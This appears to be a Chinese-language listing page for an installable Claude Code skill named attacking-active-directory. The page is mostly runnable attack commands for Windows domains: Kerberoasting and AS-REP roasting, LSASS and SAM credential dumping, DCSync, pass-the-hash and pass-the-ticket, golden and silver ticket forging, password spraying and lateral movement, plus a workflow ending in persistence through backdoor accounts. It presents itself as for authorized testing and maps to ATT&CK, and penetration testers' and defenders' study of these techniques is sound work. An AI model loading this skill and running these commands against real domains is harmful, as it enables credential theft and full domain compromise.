关于 attacking-active-directory
面向授权 Active Directory 安全评估的技能,涵盖域枚举、Kerberos 技术、凭据获取和横向移动,并将 AD CS、委派及 Entra ID 专项问题引导至对应技能。
主要功能
- 01Active Directory 域枚举
- 02Kerberoasting 与 ASREPRoasting
- 03BloodHound 攻击路径分析
- 04凭据转储与 DCSync
- 05哈希传递与横向移动
适用场景
- 01梳理域用户、组和攻击路径
- 02评估域中的 Kerberos 风险
- 03在授权测试中横向访问域系统
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-active-directory安装后在 Claude Code 中输入/attacking-active-directory确认已加载。
详细介绍
攻击 Active Directory
适用场景
- AD 侦察与枚举
- 基于 Kerberos 的攻击
- 从域控制器转储凭据
- 在域内横向移动
- 使用 BloodHound 分析攻击路径
- 域持久化技术
不适用场景
- 非 Windows/仅 Linux 的环境——使用
enumerating-network-services - 破解已收集的哈希——使用
cracking-passwords - 域失陷后的持久化——使用
establishing-persistence - 主要目标是 Entra ID/Azure AD——使用
attacking-entra-id - 从防御角度检测这些攻击——使用
engineering-detections
拥有特权、可进行 Kerberoast 且没有登录历史记录的账户,是典型的蜜罐用户:对其进行 Kerberoast 会触发高可信度警报。对看起来过于合适的账户进行 Kerberoast 前,请先查看 recognizing-deception。
转到深度技能
AD 中有多个提权类别,其深度足以拥有各自的流程技能。枚举发现其中某种情况时,请切换到对应技能——本文的通用方法论不包含这些技能中的特定工具细节。
| 信号 | 技能 |
|---|---|
存在 CA(pKIEnrollmentService),certipy find 标记了某个模板,或发现 ESC1-ESC16 | abusing-adcs |
BloodHound 标记了非约束/约束/RBCD 委派,或计算机对象上存在 GenericWrite 权限 | attacking-kerberos-delegation |
| 目标是 Entra ID/Azure AD、令牌、PRT 或混合身份同步 | attacking-entra-id |
以下域方法论(Kerberoasting、DCSync、横向移动)仍然适用;这些技能专门处理其中的某个步骤,完成后会回到这里。
Kerberoasting
Windows:
# Check kerberoastable users
.\Rubeus.exe kerberoast /stats
# Roast all
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt
# Target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
Linux:
# Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt
# With NT hash
GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt
# Target specific user
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password
破解哈希:
# Hashcat (TGS-REP)
hashcat -m 13100 hashes.txt wordlist.txt
# John
john --wordlist=wordlist.txt hashes.txt
ASREPRoasting
Windows:
# Enumerate vulnerable users
Get-DomainUser -PreauthNotRequired
# Roast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
.\Rubeus.exe asreproast /user:victim /format:hashcat
Linux:
# With domain creds
GetNPUsers.py domain.local/user:password -request -format hashcat -outputfile hashes.txt
# Without creds (username list)
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile hashes.txt -dc-ip 10.10.10.10
破解 AS-REP:
hashcat -m 18200 hashes.txt wordlist.txt
BloodHound
数据收集:
# Windows - SharpHound
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c All,GPOLocalGroup
Linux:
# bloodhound-python
bloodhound-python -u user -p password -ns 10.10.10.10 -d domain.local -c All --zip
实用查询:
# Shortest path to Domain Admins
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN [email protected]'})) RETURN p
# Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u
# AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u
# Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p
凭据转储
LSASS 转储:
# Task Manager: Right-click lsass.exe -> Create dump file
# procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full
# Parse offline with mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
SAM 转储:
# Save hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# Extract hashes (Linux)
secretsdump.py -sam sam.hive -system system.hive LOCAL
DCSync(域):
# secretsdump - dump all
secretsdump.py domain.local/user:[email protected] -just-dc
# Specific user
secretsdump.py domain.local/user:[email protected] -just-dc-user krbtgt
# With NTLM hash
secretsdump.py -hashes :ntlmhash domain.local/[email protected] -just-dc
哈希传递
Windows:
# Mimikatz
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:hash /run:cmd.exe
Linux:
# NetExec (nxc)
nxc smb 10.10.10.10 -u administrator -H hash
nxc smb 10.10.10.10 -u administrator -H hash -x whoami
# psexec
psexec.py -hashes :hash [email protected]
# wmiexec
wmiexec.py -hashes :hash [email protected]
# evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -H hash
票据传递
导出票据:
# Mimikatz
sekurlsa::tickets /export
# Rubeus
.\Rubeus.exe dump /nowrap
.\Rubeus.exe monitor /interval:10
导入/使用票据:
# Mimikatz
kerberos::ptt ticket.kirbi
# Rubeus
.\Rubeus.exe ptt /ticket:base64ticket
# Verify
klist
Linux PtT:
# Convert kirbi to ccache
ticketConverter.py ticket.kirbi ticket.ccache
# Set ticket
export KRB5CCNAME=ticket.ccache
# Use ticket
psexec.py -k -no-pass domain.local/[email protected]
哈希转票据
# Rubeus - request TGT with NTLM hash
.\Rubeus.exe asktgt /user:administrator /domain:domain.local /rc4:hash /ptt
# With AES key (better OPSEC)
.\Rubeus.exe asktgt /user:administrator /domain:domain.local /aes256:key /ptt
黄金票据/白银票据
黄金票据(TGT):
# Requirements: krbtgt hash, Domain SID
# Mimikatz
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:hash /ptt
# Rubeus
.\Rubeus.exe golden /rc4:hash /user:administrator /domain:domain.local /sid:S-1-5-21-... /ptt
白银票据(TGS):
# Requirements: Service account hash, Service SPN
# Mimikatz - CIFS service
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /target:dc.domain.local /service:cifs /rc4:hash /ptt
横向移动
NetExec(nxc):
# SMB spray
nxc smb 10.10.10.0/24 -u user -p password
# Execute commands
nxc smb 10.10.10.10 -u admin -p password -x whoami
nxc smb 10.10.10.10 -u admin -H hash -x whoami
# Dump SAM
nxc smb 10.10.10.10 -u admin -p password --sam
# Dump LSA
nxc smb 10.10.10.10 -u admin -p password --lsa
PSExec 变体:
# psexec
psexec.py domain/user:[email protected]
# wmiexec (stealthier)
wmiexec.py domain/user:[email protected]
# smbexec (no service)
smbexec.py domain/user:[email protected]
WinRM:
# PowerShell
Enter-PSSession -ComputerName dc.domain.local -Credential domain\user
# evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -p password
evil-winrm -i 10.10.10.10 -u administrator -H hash
枚举
域信息:
# PowerView
Get-Domain
Get-DomainController
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainGroupMember "Domain Admins"
Linux 枚举:
# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.0/24 -u user -p password --users
nxc smb 10.10.10.0/24 -u user -p password --groups
# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -D '[email protected]' -w 'password' -b "DC=domain,DC=local"
快速工作流
- 初始访问 → 获取域凭据
- 枚举 → 运行 BloodHound 数据收集
- Kerberoasting → 提取并破解服务票据
- 横向移动 → 使用凭据转移到高价值目标
- 凭据转储 → 在已攻陷的主机上转储 LSASS/SAM
- DCSync → 从 DC 提取所有域哈希
- 持久化 → 使用黄金票据或创建后门账户
常见战果
- 对弱密码的服务账户进行 Kerberoasting
- 对未启用预身份验证的账户进行 ASREPRoasting
- 通过 BloodHound 找到通往 DA 的短路径
- 使用转储的凭据进行哈希传递
- 使用具有复制权限的已攻陷账户执行 DCSync
工具
- Rubeus - Kerberos 攻击(Windows)
- Mimikatz - 凭据转储(Windows)
- Impacket - 综合工具包(Linux)
- BloodHound - AD 关系图谱分析
- NetExec(nxc) - AD 瑞士军刀(已归档 CrackMapExec 的持续维护继任者)
- PowerView - AD 枚举(PowerShell)
- evil-winrm - WinRM 访问(Linux)
ATT&CK 覆盖范围
由 secskills-core/ttp-index.json 生成——请编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用前,请根据当前 ATT&CK 版本重新核实 ID。
初始访问(TA0001)
- T1078 有效账户 (也涉及持久化、权限提升、防御规避) — 另请参阅
cracking-passwords、exploiting-cloud-platforms
执行(TA0002)
- T1047 Windows 管理规范 — 另请参阅
escalating-windows-privileges - T1569 系统服务 — 另请参阅
escalating-windows-privileges
持久化(TA0003)
- T1098 账户操纵 (也涉及权限提升) — 另请参阅
establishing-persistence - T1136 创建账户 — 另请参阅
establishing-persistence - T1556 修改身份验证流程 (也涉及凭据访问) — 另请参阅
establishing-persistence
权限提升(TA0004)
- T1484 域或租户策略修改 (也涉及防御规避)
凭据访问(TA0006)
- T1003 操作系统凭据转储 — 另请参阅
cracking-passwords - T1003.001 LSASS 内存 — 另请参阅
engineering-detections - T1003.003 NTDS
- T1003.006 DCSync
- T1110.003 密码喷洒 — 另请参阅
cracking-passwords - T1557 中间人攻击者 (也涉及收集) — 另请参阅
attacking-wireless-networks - T1558 窃取或伪造 Kerberos 票据 — 另请参阅
attacking-kerberos-delegation - T1558.003 Kerberoasting — 另请参阅
cracking-passwords - T1558.004 AS-REP Roasting
- T1649 窃取或伪造身份验证证书 — 另请参阅
abusing-adcs
发现(TA0007)
- T1018 远程系统发现 — 另请参阅
enumerating-network-services - T1069 权限组发现 — 另请参阅
exploiting-cloud-platforms - T1087 账户发现 — 另请参阅
exploiting-cloud-platforms
横向移动(TA0008)
- T1021 远程服务 — 另请参阅
enumerating-network-services - T1021.001 远程桌面协议
- T1021.002 SMB/Windows 管理共享 — 另请参阅
enumerating-network-services - T1021.006 Windows 远程管理
- T1550 使用备用身份验证材料 (也涉及防御规避)
- T1550.002 哈希传递 — 另请参阅
cracking-passwords - T1550.003 票据传递
针对以上任一项的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。